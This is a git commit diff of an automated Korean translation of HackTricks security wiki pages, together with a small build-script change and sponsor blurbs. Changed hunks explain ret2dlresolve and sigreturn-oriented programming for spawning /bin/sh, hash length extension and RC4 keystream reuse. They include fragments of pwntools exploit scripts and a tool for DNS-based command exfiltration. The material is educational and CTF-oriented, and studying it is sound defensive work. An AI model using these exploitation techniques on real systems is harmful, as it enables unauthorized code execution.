Translated ['src/README.md', 'src/binary-exploitation/rop-return-oriente

This commit is contained in:
Translator 2025-01-03 18:09:34 +00:00
parent e534bd71bb
commit 5099878306
73 changed files with 1585 additions and 1243 deletions

View File

@ -69,6 +69,12 @@ def ref(matchobj):
return result
def add_read_time(content):
regex = r'(<\/style>\n# .*(?=\n))'
new_content = re.sub(regex, lambda x: x.group(0) + "\n\nReading time: {{ #reading_time }}", content)
return new_content
def iterate_chapters(sections):
if isinstance(sections, dict) and "PartTitle" in sections: # Not a chapter section
return
@ -99,6 +105,7 @@ if __name__ == '__main__':
current_chapter = chapter
regex = r'{{[\s]*#ref[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endref[\s]*}}'
new_content = re.sub(regex, ref, chapter['content'])
new_content = add_read_time(new_content)
chapter['content'] = new_content
content = json.dumps(book)

View File

@ -1,13 +1,10 @@
# HackTricks
Reading time: {{ #reading_time }}
<figure><img src="images/hacktricks.gif" alt=""><figcaption></figcaption></figure>
_Hacktricks 로고 및 모션 디자인은_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_에 의해 제작되었습니다._
> [!TIP]
> **CTF, 실제 애플리케이션, 연구 및 뉴스에서 배운 각 해킹 트릭/기술/무엇이든 찾을 수 있는 위키에 오신 것을 환영합니다.**
> [!TIP] > **CTF, 실제 애플리케이션, 연구 및 뉴스에서 배운 모든 해킹 트릭/기술/무엇이든 찾을 수 있는 위키에 오신 것을 환영합니다.**
시작하려면 이 페이지를 따라가세요. 여기에서 **하나 이상의 머신을 펜테스팅할 때 따라야 할 전형적인 흐름**을 찾을 수 있습니다:
@ -21,9 +18,9 @@ generic-methodologies-and-resources/pentesting-methodology.md
<figure><img src="images/stm (1).png" alt=""><figcaption></figcaption></figure>
[**STM Cyber**](https://www.stmcyber.com)는 **HACK THE UNHACKABLE**라는 슬로건을 가진 훌륭한 사이버 보안 회사입니다. 그들은 자체 연구를 수행하고 **여러 유용한 사이버 보안 서비스**를 제공하기 위해 자체 해킹 도구를 개발합니다.
[**STM Cyber**](https://www.stmcyber.com)는 **HACK THE UNHACKABLE**라는 슬로건을 가진 훌륭한 사이버 보안 회사입니다. 그들은 자체 연구를 수행하고 **여러 유용한 사이버 보안 서비스**를 제공하기 위해 자체 해킹 도구를 개발합니다. 예를 들어, 펜테스팅, 레드 팀 및 교육 등이 있습니다.
그들의 **블로그** [**https://blog.stmcyber.com**](https://blog.stmcyber.com)에서 확인할 수 있습니다.
그들의 **블로그**를 확인할 수 있습니다: [**https://blog.stmcyber.com**](https://blog.stmcyber.com)
**STM Cyber**는 또한 HackTricks와 같은 사이버 보안 오픈 소스 프로젝트를 지원합니다 :)
@ -35,7 +32,9 @@ generic-methodologies-and-resources/pentesting-methodology.md
[**RootedCON**](https://www.rootedcon.com)는 **스페인**에서 가장 중요한 사이버 보안 이벤트이며 **유럽**에서 가장 중요한 행사 중 하나입니다. **기술 지식을 촉진하는 사명**을 가지고 있는 이 회의는 모든 분야의 기술 및 사이버 보안 전문가들이 모이는 뜨거운 만남의 장소입니다.
{% embed url="https://www.rootedcon.com/" %}
{{#ref}}
https://www.rootedcon.com/
{{#endref}}
---
@ -45,9 +44,11 @@ generic-methodologies-and-resources/pentesting-methodology.md
**Intigriti**는 **유럽의 #1** 윤리적 해킹 및 **버그 바운티 플랫폼**입니다.
**버그 바운티 팁**: **Intigriti**에 **가입**하세요. 해커를 위해 해커가 만든 프리미엄 **버그 바운티 플랫폼**입니다! 오늘 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에 가입하고 최대 **$100,000**의 보상을 받기 시작하세요!
**버그 바운티 팁**: **Intigriti**에 **가입하세요**, 해커를 위해 해커가 만든 프리미엄 **버그 바운티 플랫폼**입니다! 오늘 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에 가입하고 최대 **$100,000**의 보상을 받기 시작하세요!
{% embed url="https://go.intigriti.com/hacktricks" %}
{{#ref}}
https://go.intigriti.com/hacktricks
{{#endref}}
---
@ -56,11 +57,13 @@ generic-methodologies-and-resources/pentesting-methodology.md
<figure><img src="images/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 **워크플로우**를 쉽게 구축하고 **자동화**하세요.
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 **워크플로우를 쉽게 구축하고 자동화**하세요.
지금 액세스하세요:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{{#ref}}
https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks
{{#endref}}
---
@ -74,7 +77,7 @@ generic-methodologies-and-resources/pentesting-methodology.md
- **실시간 해킹 뉴스:** 실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계를 따라가세요.
- **최신 공지사항:** 새로운 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대한 정보를 유지하세요.
**오늘 [**Discord**](https://discord.com/invite/N3FrSbmwdy)에서 저희와 함께하고 최고의 해커들과 협력하세요!**
오늘 [**Discord**](https://discord.com/invite/N3FrSbmwdy)에 가입하고 최고의 해커들과 협력하세요!
---
@ -84,9 +87,11 @@ generic-methodologies-and-resources/pentesting-methodology.md
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요.**
**실제 비즈니스에 영향을 미치는 중요한, 악용 가능한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{{#ref}}
https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons
{{#endref}}
---
@ -94,14 +99,14 @@ generic-methodologies-and-resources/pentesting-methodology.md
<figure><img src="images/image (1254).png" alt=""><figcaption></figcaption></figure>
**SerpApi**는 **검색 엔진 결과**에 **빠르고 쉽게** 액세스할 수 있는 실시간 API를 제공합니다. 그들은 검색 엔진을 스크랩하고, 프록시를 처리하며, 캡차를 해결하고, 모든 풍부한 구조화된 데이터를 파싱합니다.
**SerpApi**는 **검색 엔진 결과에 접근할 수 있는 빠르고 쉬운 실시간 API**를 제공합니다. 그들은 검색 엔진을 스크랩하고, 프록시를 처리하며, 캡차를 해결하고, 모든 풍부한 구조화된 데이터를 파싱합니다.
SerpApi의 플랜 중 하나에 가입하면 Google, Bing, Baidu, Yahoo, Yandex 등 다양한 검색 엔진을 스크랩하기 위한 50개 이상의 API에 액세스할 수 있습니다.\
다른 제공업체와 달리 **SerpApi는 유기적 결과만 스크랩하지 않습니다**. SerpApi 응답은 항상 모든 광고, 인라인 이미지 및 비디오, 지식 그래프 및 검색 결과에 있는 기타 요소와 기능을 포함합니다.
SerpApi의 플랜 중 하나에 가입하면 Google, Bing, Baidu, Yahoo, Yandex 등 다양한 검색 엔진을 스크랩하기 위한 50개 이상의 API에 접근할 수 있습니다.\
다른 제공업체와 달리 **SerpApi는 유기적 결과만 스크랩하지 않습니다**. SerpApi 응답은 항상 모든 광고, 인라인 이미지 및 비디오, 지식 그래프 및 검색 결과에 있는 기타 요소와 기능을 포함합니다.
현재 SerpApi 고객에는 **Apple, Shopify 및 GrubHub**가 포함됩니다.\
자세한 정보는 그들의 [**블로그**](https://serpapi.com/blog/)를 확인하거나 [**플레이그라운드**](https://serpapi.com/playground)에서 예제를 시도해 보세요.\
[**여기**](https://serpapi.com/users/sign_up)에서 **무료 계정을 생성**할 수 있습니다.**
여기에서 **무료 계정을 생성**할 수 있습니다: [**여기**](https://serpapi.com/users/sign_up).
---
@ -109,9 +114,11 @@ SerpApi의 플랜 중 하나에 가입하면 Google, Bing, Baidu, Yahoo, Yandex
<figure><img src="images/image (2).png" alt=""><figcaption></figcaption></figure>
모바일 애플리케이션 장치를 보호하기 위해 취약성 연구, 침투 테스트 및 리버스 엔지니어링을 수행하는 데 필요한 기술과 기술을 배우세요. **온디맨드 과정**을 통해 **iOS 및 Android 보안**을 마스터하고 **인증을 받으세요**:
모바일 애플리케이션 장치를 보호하기 위해 취약성 연구, 침투 테스트 및 리버스 엔지니어링을 수행하는 데 필요한 기술과 기술을 배우세요. **온디맨드 과정**을 통해 **iOS 및 Android 보안을 마스터하고** **인증을 받으세요**:
{% embed url="https://academy.8ksec.io/" %}
{{#ref}}
https://academy.8ksec.io/
{{#endref}}
---
@ -119,15 +126,17 @@ SerpApi의 플랜 중 하나에 가입하면 Google, Bing, Baidu, Yahoo, Yandex
<figure><img src="images/websec (1).svg" alt=""><figcaption></figcaption></figure>
[**WebSec**](https://websec.nl)는 **암스테르담**에 본사를 둔 전문 사이버 보안 회사로, **전 세계의** 기업을 최신 사이버 보안 위협으로부터 **보호**하는 데 도움을 줍니다. **공격 보안 서비스**를 제공하는 **현대적인** 접근 방식을 가지고 있습니다.
[**WebSec**](https://websec.nl)는 **암스테르담**에 본사를 둔 전문 사이버 보안 회사로, **전 세계의 기업을 최신 사이버 보안 위협으로부터 보호**하는 데 도움을 주며 **공격 보안 서비스**를 **현대적인** 접근 방식으로 제공합니다.
WebSec는 **올인원 보안 회사**로, 펜테스팅, **보안** 감사, 인식 교육, 피싱 캠페인, 코드 리뷰, 익스플로잇 개발, 보안 전문가 아웃소싱 등 모든 것을 수행합니다.
WebSec의 또 다른 멋진 점은 업계 평균과 달리 WebSec가 **자신의 기술에 매우 자신감이 있다는 것입니다.** 그들은 **최고 품질의 결과를 보장**한다고 웹사이트에 명시하고 있습니다. "**우리가 해킹할 수 없다면, 당신은 지불하지 않습니다!**" 더 많은 정보는 그들의 [**웹사이트**](https://websec.nl/en/)와 [**블로그**](https://websec.nl/blog/)를 확인하세요!
WebSec의 또 다른 멋진 점은 업계 평균과 달리 WebSec가 **자신의 기술에 매우 자신감이 있다는 것입니다.** 그들은 **최고 품질의 결과를 보장**하며, 웹사이트에 "**우리가 해킹할 수 없다면, 당신은 지불하지 않습니다!**"라고 명시되어 있습니다. 더 많은 정보는 그들의 [**웹사이트**](https://websec.nl/en/)와 [**블로그**](https://websec.nl/blog/)를 확인하세요!
위의 내용 외에도 WebSec는 **HackTricks의 헌신적인 후원자**니다.
위의 내용 외에도 WebSec는 **HackTricks의 헌신적인 후원자**이기도 합니다.
{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %}
{{#ref}}
https://www.youtube.com/watch?v=Zq2JycGDCPM
{{#endref}}
## License & Disclaimer

View File

@ -8,7 +8,7 @@
**`_dl_runtime_resolve`** 함수는 지정된 기호를 **해결**하는 데 필요한 몇 가지 구조체에 대한 참조를 스택에서 가져옵니다.
따라서 요청된 기호(예: **`system`** 함수)를 동적으로 연결된 해결을 위해 **이 모든 구조체를 위조**할 수 있으며, 구성된 매개변수(예: **`system('/bin/sh')`**)로 호출할 수 있습니다.
따라서 요청된 기호(예: **`system`** 함수)를 동적으로 연결된 해결을 위해 **모든 이러한 구조체를 위조**하고 구성된 매개변수(예: **`system('/bin/sh')`**)로 호출할 수 있습니다.
일반적으로 이러한 모든 구조체는 **쓰기 가능한 메모리에서 `read`를 호출하는 초기 ROP 체인을 만들어 위조**됩니다. 그런 다음 **구조체**와 문자열 **`'/bin/sh'`**가 전달되어 읽기에서 알려진 위치에 저장되고, 이후 ROP 체인은 **`_dl_runtime_resolve`**를 호출하여 **가짜 구조체에서 `system`의 주소를 해결**하고 **이 주소를** `$'/bin/sh'`의 주소로 호출합니다.
@ -17,7 +17,9 @@
이 기술에 대한 좋은 설명을 비디오 후반부에서 확인하세요:
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
{{#ref}}
https://youtu.be/ADULSwnQs-s?feature=shared
{{#endref}}
또는 단계별 설명을 위해 다음 페이지를 확인하세요:
@ -26,11 +28,11 @@
## Attack Summary
1. 가짜 구조체를 어떤 위치에 작성
1. 일부 위치에 가짜 구조체 작성
2. system의 첫 번째 인수 설정 (`$rdi = &'/bin/sh'`)
3. **`_dl_runtime_resolve`**를 호출하기 위해 스택에 구조체의 주소 설정
4. **호출** `_dl_runtime_resolve`
5. **`system`**이 해결되고 `'/bin/sh'`를 인수로 호출
3. **`_dl_runtime_resolve`**를 호출하기 위해 구조체의 주소를 스택에 설정
4. **Call** `_dl_runtime_resolve`
5. **`system`**이 해결되고 `'/bin/sh'`를 인수로 호출됩니다.
[**pwntools documentation**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html)에서, **`ret2dlresolve`** 공격은 다음과 같이 보입니다:
```python
@ -186,6 +188,6 @@ target.interactive()
- [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared)
- [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve)
- [https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html](https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html)
- 32비트, no relro, no canary, nx, no pie, 기본 작은 버퍼 오버플로우 및 리턴. 이를 이용해 bof는 `.bss` 섹션과 더 큰 크기로 `read`를 다시 호출하는 데 사용되며, 그곳에 `dlresolve` 가짜 테이블을 저장하여 `system`을 로드하고, main으로 리턴한 후 초기 bof를 재사용하여 dlresolve를 호출하고 `system('/bin/sh')`를 실행합니다.
- 32비트, no relro, no canary, nx, no pie, 기본 작은 버퍼 오버플로우 및 반환. 이를 이용해 bof는 `.bss` 섹션과 더 큰 크기로 `read`를 다시 호출하는 데 사용되며, 그곳에 `dlresolve` 가짜 테이블을 저장하여 `system`을 로드하고, main으로 반환한 후 초기 bof를 재사용하여 dlresolve를 호출하고 `system('/bin/sh')`를 실행합니다.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,14 +4,14 @@
## Basic Information
**`Sigreturn`**는 주로 신호 처리기가 실행을 완료한 후 정리하는 데 사용되는 특별한 **syscall**입니다. 신호는 운영 체제가 프로그램에 보내는 중단으로, 종종 예외적인 상황이 발생했음을 나타냅니다. 프로그램이 신호를 받으면, 신호를 처리하기 위해 **신호 처리기**라는 특별한 기능을 사용하여 현재 작업을 일시적으로 중단합니다.
**`Sigreturn`**는 주로 신호 처리기가 실행을 완료한 후 정리하는 데 사용되는 특별한 **syscall**입니다. 신호는 운영 체제가 프로그램에 보내는 중단으로, 종종 예외적인 상황이 발생했음을 나타냅니다. 프로그램이 신호를 받으면, 신호를 처리하기 위해 **신호 처리기**라는 특별한 함수로 현재 작업을 일시적으로 중단합니다.
신호 처리기가 끝난 후, 프로그램은 아무 일도 없었던 것처럼 **이전 상태로 복귀해야** 합니다. 이때 **`sigreturn`**이 작용합니다. 이는 프로그램이 **신호 처리기에서 반환**하고 신호 처리기에 의해 사용된 스택 프레임(함수 호출 및 지역 변수를 저장하는 메모리 섹션)을 정리하여 프로그램의 상태를 복원하는 데 도움을 줍니다.
신호 처리기가 끝난 후, 프로그램은 아무 일도 없었던 것처럼 **이전 상태로 복귀**해야 합니다. 여기서 **`sigreturn`**이 작용합니다. 이는 프로그램이 **신호 처리기에서 반환**하고 신호 처리기에 의해 사용된 스택 프레임(함수 호출 및 지역 변수를 저장하는 메모리 섹션)을 정리하여 프로그램의 상태를 복원하는 데 도움을 줍니다.
흥미로운 점은 **`sigreturn`**이 프로그램의 상태를 복원하는 방법입니다: 이는 **모든 CPU의 레지스터 값을 스택에 저장**함으로써 이루어집니다. 신호가 더 이상 차단되지 않으면, **`sigreturn`은 이 값을 스택에서 팝**하여 CPU의 레지스터를 신호가 처리되기 전의 상태로 효과적으로 재설정합니다. 여기에는 현재 스택의 맨 위를 가리키는 스택 포인터 레지스터(RSP)가 포함됩니다.
> [!CAUTION]
> ROP 체인에서 **`sigreturn`** syscall을 호출하고 **로드할 레지스터 값**을 **스택**에 추가하면 모든 레지스터 값을 **제어**할 수 있으며, 따라서 예를 들어 `execve` syscall을 `/bin/sh`로 **호출**할 수 있습니다.
> ROP 체인에서 syscall **`sigreturn`**을 호출하고 **스택에 로드할 레지스터 값**을 추가함으로써 모든 레지스터 값을 **제어**할 수 있으며, 따라서 예를 들어 syscall `execve``/bin/sh`로 호출할 수 있습니다.
이것이 다른 Ret2syscall을 호출하기 위한 매개변수를 제어하는 데 훨씬 더 쉽게 만드는 **Ret2syscall의 한 유형**이라는 점에 유의하십시오:
@ -57,11 +57,13 @@
```
더 나은 설명을 원하시면 다음도 확인하세요:
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
{{#ref}}
https://youtu.be/ADULSwnQs-s?feature=shared
{{#endref}}
## 예시
여기에서 ROP를 통해 signeturn 호출이 구성된 [**예제를 찾을 수 있습니다**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) (rxa에 값 `0xf` 넣음), 비록 이것이 최종 익스플로잇입니다:
[**여기에서 예시를 찾을 수 있습니다**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) 여기서 signeturn 호출이 ROP를 통해 구성됩니다(값 `0xf`를 rxa에 넣음), 비록 이것이 최종 익스플로잇입니다:
```python
from pwn import *
@ -88,7 +90,7 @@ payload += bytes(frame)
p.sendline(payload)
p.interactive()
```
또한 [**여기서 익스플로잇을 확인하세요**](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html) 여기서 바이너리가 이미 `sigreturn`을 호출하고 있으므로 **ROP**를 구축할 필요가 없습니다:
여기서 [**익스플로잇을 확인하세요**](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html) 이진 파일이 이미 `sigreturn`을 호출하고 있으므로 **ROP**로 이를 구축할 필요가 없습니다.
```python
from pwn import *
@ -126,14 +128,14 @@ target.interactive()
- [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared)
- [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop)
- [https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)
- **스택에 쓰기**를 허용하고 **`sigreturn`** 시스템 호출을 호출하는 어셈블리 바이너리. 스택에 [**ret2syscall**](../rop-syscall-execv/)을 **sigreturn** 구조체를 통해 쓸 수 있으며, 바이너리 메모리 내의 플래그를 읽을 수 있습니다.
- **스택에 쓰기**를 허용하고 **`sigreturn`** 시스템 호출을 호출하는 어셈블리 바이너리. 스택에 [**ret2syscall**](../rop-syscall-execv/)을 **sigreturn** 구조체를 통해 쓸 수 있으며, 바이너리의 메모리 안에 있는 플래그를 읽을 수 있다.
- [https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html)
- **스택에 쓰기**를 허용하고 **`sigreturn`** 시스템 호출을 호출하는 어셈블리 바이너리. 스택에 [**ret2syscall**](../rop-syscall-execv/)을 **sigreturn** 구조체를 통해 쓸 수 있으며 (바이너리는 문자열 `/bin/sh`를 포함하고 있습니다).
- **스택에 쓰기**를 허용하고 **`sigreturn`** 시스템 호출을 호출하는 어셈블리 바이너리. 스택에 [**ret2syscall**](../rop-syscall-execv/)을 **sigreturn** 구조체를 통해 쓸 수 있으며 (바이너리는 문자열 `/bin/sh`를 포함하고 있다).
- [https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html)
- 64비트, relro 없음, canary 없음, nx, pie 없음. 가젯이 부족한 `gets` 함수의 단순한 버퍼 오버플로우로 [**ret2syscall**](../rop-syscall-execv/)을 수행합니다. ROP 체인은 `/bin/sh``.bss`에 쓰고, 다시 `gets`를 호출하여 **`alarm`** 함수를 악용하여 eax를 `0xf`로 설정하여 **SROP**를 호출하고 셸을 실행합니다.
- 64비트, relro 없음, canary 없음, nx, pie 없음. 가젯이 부족한 `gets` 함수를 악용한 간단한 버퍼 오버플로우로 [**ret2syscall**](../rop-syscall-execv/)을 수행한다. ROP 체인은 `/bin/sh``.bss`에 쓰고, 다시 `gets`를 호출하여 **`alarm`** 함수를 악용하여 eax를 `0xf`로 설정하고 **SROP**를 호출하여 셸을 실행한다.
- [https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html)
- 64비트 어셈블리 프로그램, relro 없음, canary 없음, nx, pie 없음. 흐름은 스택에 쓰고 여러 레지스터를 제어하며 시스템 호출을 호출한 후 `exit`를 호출할 수 있습니다. 선택된 시스템 호출은 `sigreturn`으로, 레지스터를 설정하고 `eip`를 이전 시스템 호출 명령어를 호출하도록 이동시켜 `memprotect`를 실행하여 바이너리 공간을 `rwx`로 설정하고 ESP를 바이너리 공간에 설정합니다. 흐름을 따라 프로그램은 ESP에 다시 읽기를 호출하지만, 이 경우 ESP는 다음 명령어를 가리키므로 셸코드를 전달하면 다음 명령어로 작성되고 실행됩니다.
- 64비트 어셈블리 프로그램, relro 없음, canary 없음, nx, pie 없음. 흐름은 스택에 쓰고 여러 레지스터를 제어하며 시스템 호출을 호출한 후 `exit`를 호출할 수 있게 한다. 선택된 시스템 호출은 `sigreturn`으로, 레지스터를 설정하고 `eip`를 이전 시스템 호출 명령어를 호출하도록 이동시켜 `memprotect`를 실행하여 바이너리 공간을 `rwx`로 설정하고 ESP를 바이너리 공간에 설정다. 흐름을 따라 프로그램은 ESP에 다시 읽기를 호출하지만, 이 경우 ESP는 다음 명령어를 가리키게 되어 셸코드를 다음 명령어로 쓰고 실행하게 된다.
- [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection)
- SROP는 셸코드가 배치된 위치에 실행 권한 (memprotect)을 부여하는 데 사용됩니다.
- SROP는 셸코드가 배치된 위치에 실행 권한 (memprotect)을 부여하는 데 사용다.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -10,7 +10,9 @@
[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : DNS 요청을 통해 burpcollab에 명령을 실행하고 출력을 가져오는 페이로드.
{% embed url="https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e" %}
{{#ref}}
https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e
{{#endref}}
[https://github.com/h3xstream/http-script-generator](https://github.com/h3xstream/http-script-generator)

View File

@ -48,7 +48,9 @@ Take it to the top
Whisper my world
```
{% embed url="https://codewithrockstar.com/" %}
{{#ref}}
https://codewithrockstar.com/
{{#endref}}
## PETOOH
```

View File

@ -4,20 +4,20 @@
## 공격 요약
서버가 **데이터**에 **비밀**을 **추가**하여 **서명**하고 그 데이터를 해시하는 상황을 상상해 보십시오. 다음을 알고 있다면:
서버가 **데이터**에 **비밀**을 **추가**하여 **서명**하고 그 데이터를 해싱한다고 상상해 보십시오. 다음을 알고 있다면:
- **비밀의 길이** (주어진 길이 범위에서 브루트포스할 수 있음)
- **명확한 텍스트 데이터**
- **알고리즘 (이 공격에 취약함)**
- **패딩이 알려져 있음**
- **패딩이 알려**
- 일반적으로 기본값이 사용되므로 다른 3가지 요구 사항이 충족되면 이것도 해당됨
- 패딩은 비밀+데이터의 길이에 따라 달라지므로 비밀의 길이가 필요함
- 패딩은 비밀 + 데이터의 길이에 따라 달라지므로 비밀의 길이가 필요함
그렇다면 **공격자**가 **데이터**를 **추가**하고 **이전 데이터 + 추가된 데이터**에 대한 유효한 **서명**을 **생성**하는 것이 가능합니다.
### 어떻게?
기본적으로 취약한 알고리즘은 먼저 **데이터 블록을 해시**한 다음, **이전에** 생성된 **해시**(상태)에서 **다음 데이터 블록을 추가**하고 **해**합니다.
기본적으로 취약한 알고리즘은 먼저 **데이터 블록을 해싱**하여 해시를 생성하고, 그 다음 **이전에** 생성된 **해시**(상태)에서 **다음 데이터 블록을 추가**하고 **해**합니다.
그런 다음 비밀이 "secret"이고 데이터가 "data"라고 가정해 보십시오. "secretdata"의 MD5는 6036708eba0d11f6ef52ad44e8b74d5b입니다.\
공격자가 "append" 문자열을 추가하고 싶다면 다음과 같이 할 수 있습니다:
@ -29,9 +29,11 @@
### **도구**
{% embed url="https://github.com/iagox86/hash_extender" %}
{{#ref}}
https://github.com/iagox86/hash_extender
{{#endref}}
### 참고문헌
### 참고 문헌
이 공격에 대한 좋은 설명은 [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)에서 찾을 수 있습니다.

View File

@ -4,8 +4,12 @@ RC4를 사용하여 평문을 암호화할 수 있다면, 동일한 비밀번호
알려진 평문을 암호화할 수 있다면 비밀번호를 추출할 수도 있습니다. 더 많은 참고 자료는 HTB Kryptos 머신에서 찾을 수 있습니다:
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
{{#ref}}
https://0xrick.github.io/hack-the-box/kryptos/
{{#endref}}
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
{{#ref}}
https://0xrick.github.io/hack-the-box/kryptos/
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,32 +2,34 @@
# 공격 요약
서버가 **데이터**에 **비밀**을 **추가**하여 **서명**하고 그 데이터를 해시한다고 상상해 보십시오. 다음을 알고 있다면:
서버가 **데이터**에 **비밀**을 추가하여 **서명**하고 그 데이터를 해시하는 상황을 상상해 보십시오. 다음을 알고 있다면:
- **비밀의 길이** (주어진 길이 범위에서 브루트포스할 수 있음)
- **비밀의 길이** (주어진 길이 범위에서 무차별 대입으로도 알 수 있음)
- **명확한 텍스트 데이터**
- **알고리즘 (이 공격에 취약함)**
- **패딩이 알려져 있음**
- 일반적으로 기본이 사용되므로 다른 3가지 요구 사항이 충족되면 이것도 해당됨
- 일반적으로 기본 패딩이 사용되므로 다른 3가지 요구 사항이 충족되면 이것도 해당됨
- 패딩은 비밀 + 데이터의 길이에 따라 달라지므로 비밀의 길이가 필요함
그렇다면 **공격자**가 **데이터**를 **추가**하고 **이전 데이터 + 추가된 데이터**에 대한 유효한 **서명**을 **생성**하는 것이 가능합니다.
## 어떻게?
기본적으로 취약한 알고리즘은 먼저 **데이터 블록을 해시**하여 해시를 생성한 다음, **이전**에 생성된 **해시**(상태)에서 **다음 데이터 블록을 추가**하고 **해시**합니다.
기본적으로 취약한 알고리즘은 먼저 **데이터 블록을 해시**하여 해시를 생성하고, 그 다음에 **이전에** 생성된 **해시**(상태)에서 **다음 데이터 블록을 추가**하고 **해시**합니다.
그런 다음 비밀이 "secret"이고 데이터가 "data"라고 가정해 보십시오. "secretdata"의 MD5는 6036708eba0d11f6ef52ad44e8b74d5b입니다.\
공격자가 "append" 문자열을 추가하고 싶다면 다음과 같이 할 수 있습니다:
공격자가 "append"라는 문자열을 추가하고 싶다면 다음과 같이 할 수 있습니다:
- 64개의 "A"로 MD5 생성
- 이전에 초기화된 해시의 상태를 6036708eba0d11f6ef52ad44e8b74d5b로 변경
- "append" 문자열 추가
- 문자열 "append" 추가
- 해시를 완료하면 결과 해시는 **"secret" + "data" + "padding" + "append"**에 대한 유효한 해시가 됩니다.
## **도구**
{% embed url="https://github.com/iagox86/hash_extender" %}
{{#ref}}
https://github.com/iagox86/hash_extender
{{#endref}}
## 참고문헌

View File

@ -1,11 +1,15 @@
{{#include ../banners/hacktricks-training.md}}
RC4를 사용하여 평문을 암호화할 수 있다면, 동일한 비밀번호를 사용하여 해당 RC4로 암호화된 모든 콘텐츠를 암호화 함수만으로 복호화할 수 있습니다.
RC4를 사용하여 평문을 암호화할 수 있다면, 동일한 비밀번호를 사용하여 암호화 함수만으로 해당 RC4로 암호화된 모든 콘텐츠를 복호화할 수 있습니다.
알려진 평문을 암호화할 수 있다면 비밀번호를 추출할 수도 있습니다. 더 많은 참고 자료는 HTB Kryptos 머신에서 찾을 수 있습니다:
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
{{#ref}}
https://0xrick.github.io/hack-the-box/kryptos/
{{#endref}}
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
{{#ref}}
https://0xrick.github.io/hack-the-box/kryptos/
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,10 +2,9 @@
{{#include ../../banners/hacktricks-training.md}}
## 자산 발견
> 어떤 회사에 속하는 모든 것이 범위 내에 있다고 들었고, 이 회사가 실제로 소유하고 있는 것이 무엇인지 알아내고 싶습니다.
> 어떤 회사에 속 모든 것이 범위 내에 있다고 들었고, 이 회사가 실제로 소유하고 있는 것이 무엇인지 알아내고 싶습니다.
